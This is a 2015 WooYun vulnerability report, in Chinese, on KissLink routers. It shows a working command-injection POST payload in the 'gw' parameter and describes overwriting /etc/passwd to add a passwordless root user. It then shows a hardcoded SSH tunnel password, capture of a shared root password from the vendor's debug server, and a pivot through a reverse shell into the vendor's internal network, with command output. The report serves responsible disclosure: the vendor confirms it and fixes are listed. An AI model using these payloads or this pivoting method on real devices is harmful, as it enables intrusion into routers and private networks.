当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0139347

漏洞标题:智能设备安全之kisslink看我如何从一台路由器权限到所有路由器权限再到所有路由器内网

相关厂商:kisslink.com

漏洞作者: 路人甲

提交时间:2015-09-07 10:32

修复时间:2015-12-06 12:14

公开时间:2015-12-06 12:14

漏洞类型:远程代码执行

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-09-07: 细节已通知厂商并且等待厂商处理中
2015-09-07: 厂商已经确认,细节仅向厂商公开
2015-09-10: 细节向第三方安全合作伙伴开放
2015-11-01: 细节向核心白帽子及相关领域专家公开
2015-11-11: 细节向普通白帽子公开
2015-11-21: 细节向实习白帽子公开
2015-12-06: 细节向公众公开

简要描述:

点一根红梅,抽一口寂寞;
kiss 下路由,穿透到内网。

详细说明:

隔壁的女神买了所谓不“kiss”便不让上的“kisslnk”路由器,这是对我有什么暗示吗?只怪我太年轻,“kiss”之路漫漫修远兮,屌丝还须上下去摸索。索性我也买个 kisslink 路由器来,对其一探究竟。
女神的诱惑还是蛮大的,我费了九牛二虎之力把买来的 kisslink 组成下面的网络环境,用来分析 kisslink 的安全性。

1.png


分析思路是:
1. 通过笔记本对 kisslink 扫描,用于检测路由器开放端口情况;
2. 通过 burp suite 抓取 app 和 kisslink 路由器通讯的数据,用于检测路由器是否存在漏洞;
3. 通过 openwrt 上 tcpdump 抓取 kisslink 和云端通讯数据,用于检测路由器和云端是否存在漏洞;
4. 通过 openwrt 上 tcpdump 抓取 kisslink 和云端通讯数据,获取路由器固件下载地址;
按照思路行动起来,经过漫长的 配置->抓包->分析->测试过程,我们得到如下结果:
1. 路由器开放 23 端口,用户名密码未知;

$ nmap -p1-65535 192.168.200.1
Nmap scan report for www.kisslink.com (192.168.200.1)
Host is up (0.0013s latency).
Not shown: 65529 closed ports
PORT STATE SERVICE
23/tcp open telnet
53/tcp open domain
80/tcp open http
442/tcp open cvc_hostd
443/tcp open https
20000/tcp open dnp


2. 路由器某接口存在命令注入漏洞,gw 参数过滤不严格造成命令注入

POST /app.cgi HTTP/1.1
Host: 192.168.200.1:442
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Proxy-Connection: keep-alive
Accept: */*
User-Agent: KissLink/1 (iPad; iOS 8.1; Scale/2.00)
Accept-Language: zh-Hans;q=1, en;q=0.9
Accept-Encoding: gzip, deflate
Content-Length: 296
dns_server=x.x.x.x&gw=x.x.x.x;ping -c 3 192.168.200.3;&id=x&ip=x.x.x.x&mask=255.255.255.0&opt=add&opttype=setup_dhcp&type=static&uuid=xxx


3. 路由器固件地址为:http://api.kisslink.com:31082/NBOS-1.1.0.1766,包如下:

firmware.png


战果不错,其实到这里我们通过命令注入漏洞已经能够获取到路由器的权限。但是对于接近女神毫无卵用。
有了路由器的权限我们继续深挖,通过前面的命令注入漏洞,直接覆盖 /etc/passwd 和 /etc/shadow 文件,添加一个空密码的 root 用户,先登录到路由器里面,找啊找,找啊找,找到了好多有用的信息
1. 路由器启动 dropbear,但是却监听到了 127.0.0.1 的 2222 端口;
2. 在 /usr/local/sbin 目录内发现一个好有爱的 start_ssh 文件,内容:

killall -9 dbclient 2>&1 1>/dev/null
killall -9 dbclient 2>&1 1>/dev/null
/usr/local/sbin/dbclient 10000:127.0.0.1:2222 [email protected] 2>&1 1>/dev/null


dbclient 是 openwrt 下的 SSH 客户端,上面的那条命令应该是端口转发的,把路由器本地的 2222 端口转发到 debug.kisslink.com 这台服务器的 10000 端口
我在路由器上手动执行下这条命令

/usr/local/sbin # /usr/local/sbin/dbclient 10000:127.0.0.1:2222 [email protected] 2>&1 1>/dev/null
Host 'debug.kisslink.com' key accepted unconditionally.
(ssh-rsa fingerprint md5 9f:30:51:bb:74:a4:91:54:85:9e:b7:fa:af:13:ba:b5)


命令没有任何错误回显,执行成功,通过 ps 和 netstat 验证下

3872 root      1172 S    /usr/local/sbin/dbclient 10000:127.0.0.1:2222 [email protected]
tcp 0 0 192.168.199.181:55749 182.92.71.177:ssh ESTABLISHED


请注意,我们没有输入任何密码。也就是说路由器上存放有私钥或者密码等认证信息,找啊找,找啊找,找到了,在 /etc/rc.d 目录下 kickoff.sh 这个文件,这是路由器启动初始化的脚本文件,里面有这么一行:

export DROPBEAR_PASSWORD=
mask 区域
*****c4890*****


在这个过程中我让同事帮我逆向了 dbclient 这个文件,看看密码是不是存放在这个文件里面,很快他就告诉我看看是不是有 DROPBEAR_PASSWORD 这个环境变量。
我们知道了 root debug.kisslink.com

mask 区域
*****c4*****

,还有什么好说的,登录呀

ssh.png


还记得上面所说的反弹端口吧,这个功能我揣测是官方留的调试“后门”,不过是不是所有的路由器都可以反弹呢?感觉离女神又近了,我就在服务器上继续,找啊找,找啊找,还真被我找到了,http://debug.kisslink.com:8080/login.html,既然我们有服务器权限,想办法登录进去

manage.png


manage1.png


manage2.png


所有路由器啊,不但能够远程更新路由器固件,还能够对任意一台在线路由器启动反弹 SSH 的操作,BUT,我们不知道路由器密码。女神就在眼前,我怎么能让自己看不见,既然管理员是通过这台服务器管理的路由器,那我就想办法在管理员去管理其他路由器的时候记录下路由器的密码,反正不管你信不信,我是相信所有路由器的密码都是一样的。
功夫不负人,不日就获取到了路由器密码

mask 区域
*****@Y*****


女神我来了!!!
我想 kisslink 厂商自己内部肯定使用了 kisslink 路由器,我们想办法连到内网去。首先我们通过服务器的日志获取到 kisslink 办公出口 IP,不出所料应该是下面这个:

106.2.160.56


通过管理后台,查询到有下面三个路由器

lan.png


通过链接 http://debug.kisslink.com:8080/ap_detail.php?wtpindex=5067 查看这台路由器,然后“启动反向”功能,反弹到本地的 10122 端口,我们在服务器上登录下试试

[root@iZ259yz43shZ ~]# ssh [email protected] -p10122
The authenticity of host '[127.0.0.1]:10122 ([127.0.0.1]:10122)' can't be established.
RSA key fingerprint is a1:b1:db:11:d8:ed:7f:b7:8b:70:c6:b7:b2:dd:f7:b9.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '[127.0.0.1]:10122' (RSA) to the list of known hosts.
[email protected]'s password:
~ # /sbin/ifconfig
ath1 Link encap:Ethernet HWaddr CC:10:A3:01:03:D2
UP BROADCAST RUNNING MULTICAST MTU:2290 Metric:1
RX packets:23773867 errors:0 dropped:0 overruns:0 frame:0
TX packets:37000280 errors:0 dropped:11 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:73757821 (70.3 MiB) TX bytes:673372592 (642.1 MiB)
ath2 Link encap:Ethernet HWaddr CC:10:A3:01:03:D3
UP BROADCAST RUNNING MULTICAST MTU:2290 Metric:1
RX packets:1408540 errors:0 dropped:0 overruns:0 frame:0
TX packets:1876604 errors:0 dropped:55169 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:183069717 (174.5 MiB) TX bytes:2269038636 (2.1 GiB)
eth0 Link encap:Ethernet HWaddr CC:10:A3:01:03:D0
inet addr:192.168.2.62 Bcast:192.168.2.255 Mask:255.255.255.0
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:362560 errors:0 dropped:4 overruns:0 frame:0
TX packets:306375 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:322235162 (307.3 MiB) TX bytes:60800466 (57.9 MiB)
lo Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
UP LOOPBACK RUNNING MTU:16436 Metric:1
RX packets:10972 errors:0 dropped:0 overruns:0 frame:0
TX packets:10972 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:1194199 (1.1 MiB) TX bytes:1194199 (1.1 MiB)
vlan1 Link encap:Ethernet HWaddr CC:10:A3:01:03:D2
inet addr:192.168.200.1 Bcast:192.168.200.255 Mask:255.255.255.0
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:25180619 errors:0 dropped:0 overruns:0 frame:0
TX packets:37654130 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:3645069465 (3.3 GiB) TX bytes:1947806617 (1.8 GiB)
vlan10 Link encap:Ethernet HWaddr CC:10:A3:01:03:D1
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:0 errors:0 dropped:0 overruns:0 frame:0
TX packets:6 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:0 (0.0 B) TX bytes:468 (468.0 B)
wifi0 Link encap:UNSPEC HWaddr CC-10-A3-01-03-D1-00-00-00-00-00-00-00-00-00-00
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:54138621 errors:0 dropped:0 overruns:0 frame:0
TX packets:44212470 errors:209039 dropped:313 overruns:0 carrier:0
collisions:0 txqueuelen:511
RX bytes:0 (0.0 B) TX bytes:0 (0.0 B)
Interrupt:2 Memory:b8100000-b811ffff
~ #


简单对内网做了下探测,192.168.2.250 应该是内部的测试服务器,

~ # wget 192.168.2.250
--2015-09-06 16:46:04-- http://192.168.2.250/
Connecting to 192.168.2.250:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: unspecified [text/html]
Saving to: `index.html'
[ <=> ] 13,711 --.-K/s in 0s
2015-09-06 16:46:04 (48.7 MB/s) - `index.html' saved [13711]
~ # ls
index.html
~ #
~ #
~ # more index.html
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
<html>
<head>
<title>Index of /</title>
</head>
<body>
<h1>Index of /</h1>
<table>
<tr><th valign="top"><img src="/icons/blank.gif" alt="[ICO]"></th><th><a href="?C=N;O=D">Name</a></th><th><a href="?C=M;O=A">Last modified</a></th><th><a href="?C=S;O=A">Size</a></th><th><a href="?C=D;O=A">Description</a></th></tr>
<tr><th colspan="5"><hr></th></tr>
<tr><td valign="top"><img src="/icons/text.gif" alt="[TXT]"></td><td><a href="a.py">a.py</a></td><td align="right">2015-06-03 10:42 </td><td align="right">528 </td><td>&nbsp;</td></tr>
<tr><td valign="top"><img src="/icons/text.gif" alt="[TXT]"></td><td><a href="about.html">about.html</a></td><td align="right">2015-06-03 10:42 </td><td align="right"> 17K</td><td>&nbsp;</td></tr>
<tr><td valign="top"><img src="/icons/unknown.gif" alt="[ ]"></td><td><a href="about.php">about.php</a></td><td align="right">2015-06-03 10:50 </td><td align="right">1.2K</td><td>&nbsp;</td></tr>
<tr><td valign="top"><img src="/icons/unknown.gif" alt="[ ]"></td><td><a href="amqp_consumer">amqp_consumer</a></td><td align="right">2015-07-31 14:26 </td><td align="right">108K</td><td>&nbsp;</td></tr>
<tr><td valign="top"><img src="/icons/unknown.gif" alt="[ ]"></td><td><a href="app.cgi2">app.cgi2</a></td><td align="right">2015-05-28 17:13 </td><td align="right">7.8K</td><td>&nbsp;</td></tr>
<tr><td valign="top"><img src="/icons/folder.gif" alt="[DIR]"></td><td><a href="assets/">assets/</a></td><td align="right">2015-06-03 10:42 </td><td align="right"> - </td><td>&nbsp;</td></tr>
<tr><td valign="top"><img src="/icons/unknown.gif" alt="[ ]"></td><td><a href="blog.php">blog.php</a></td><td align="right">2015-06-03 10:50 </td><td align="right">1.2K</td><td>&nbsp;</td></tr>
<tr><td valign="top"><img src="/icons/text.gif" alt="[TXT]"></td><td><a href="cgic.c">cgic.c</a></td><td align="right">2015-06-23 15:47 </td><td align="right"> 57K</td><td>&nbsp;</td></tr>
<tr><td valign="top"><img src="/icons/text.gif" alt="[TXT]"></td><td><a href="cgic.h">cgic.h</a></td><td align="right">2015-06-23 11:22 </td><td align="right">7.2K</td><td>&nbsp;</td></tr>
<tr><td valign="top"><img src="/icons/folder.gif" alt="[DIR]"></td><td><a href="css/">css/</a></td><td align="right">2015-07-02 16:57 </td><td align="right"> - </td><td>&nbsp;</td></tr>
<tr><td valign="top"><img src="/icons/unknown.gif" alt="[ ]"></td><td><a href="diff">diff</a></td><td align="right">2015-07-20 14:22 </td><td align="right">433K</td><td>&nbsp;</td></tr>
<tr><td valign="top"><img src="/icons/folder.gif" alt="[DIR]"></td><td><a href="download/">download/</a></td><td align="right">2015-06-03 10:42 </td>


该服务器的 8080 端口应该是 Bugzilla 系统

~ # wget 192.168.2.250:8080
--2015-09-06 16:46:21-- http://192.168.2.250:8080/
Connecting to 192.168.2.250:8080... connected.
HTTP request sent, awaiting response... 200 OK
Length: unspecified [text/html]
Saving to: `index.html.1'
[ <=> ] 11,047 --.-K/s in 0.007s
2015-09-06 16:46:21 (1.59 MB/s) - `index.html.1' saved [11047]
~ # more index.html.1
<!DOCTYPE html>
<html lang="en">
<head>
<title>Bugzilla Main Page</title>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<link href="data/assets/2f5735cf3abd04bddc8e363a8613a9f5.css" rel="stylesheet" type="text/css">

<script type="text/javascript" src="data/assets/1b4e898422a669ab82b604a2c23edce5.js"></script>
<script type="text/javascript">
<!--
YAHOO.namespace('bugzilla');
YAHOO.util.Event.addListener = function (el, sType, fn, obj, overrideContext) {
if ( ("onpagehide" in window || YAHOO.env.ua.gecko) && sType === "unload") { sType = "pagehide"; };
var capture = ((sType == "focusin" || sType == "focusout") && !YAHOO.env.ua.ie) ? true : false;
return this._addListener(el, this._getType(sType), fn, obj, overrideContext, capture);
};
if ( "onpagehide" in window || YAHOO.env.ua.gecko) {
YAHOO.util.Event._simpleRemove(window, "unload",
YAHOO.util.Event._unload);
}

function unhide_language_selector() {
YAHOO.util.Dom.removeClass(
'lang_links_container', 'bz_default_hidden'
);
}
YAHOO.util.Event.onDOMReady(unhide_language_selector);


好吧,到此为止,以上所有操作均以安全研究为出发点,没有对服务器,路由器做任何多余的操作,尤其是破坏性操作,同时没有获取任何数据。

漏洞证明:

上面的详细说明已经很清楚了,这里就不再赘述。

修复方案:

看起来修复的工作量还是蛮大的:
1. 修复路由器的漏洞;
2. 修改服务器和路由器的密码;
3. 禁用后门功能;

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2015-09-07 12:13

厂商回复:

感谢路人甲发现我们的漏洞,我们会尽快修复

最新状态:

暂无